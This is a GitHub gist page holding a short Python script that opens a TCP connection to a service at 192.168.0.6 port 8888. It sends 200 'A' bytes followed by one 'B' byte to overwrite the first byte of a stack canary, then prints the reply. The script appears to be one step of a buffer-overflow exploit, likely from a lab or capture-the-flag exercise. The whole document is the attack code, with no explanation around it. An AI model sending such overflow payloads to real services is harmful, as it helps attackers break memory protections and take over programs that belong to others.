Last active
June 3, 2020 17:23
-
-
Save ShivamShrirao/86398099214d7e8717ee91cad0af3445 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import socket | |
TRGT = ('192.168.0.6', 8888) # ip and port | |
buf = b'A'*200 | |
buf+= b'B' # overwrite canary's first byte with B | |
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # create TCP socket | |
s.connect(TRGT) # connect to target | |
s.recv(1024) # receive initial prompt | |
s.send(buf) # send payload | |
ret = s.recv(1024) # receive response | |
print(ret) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment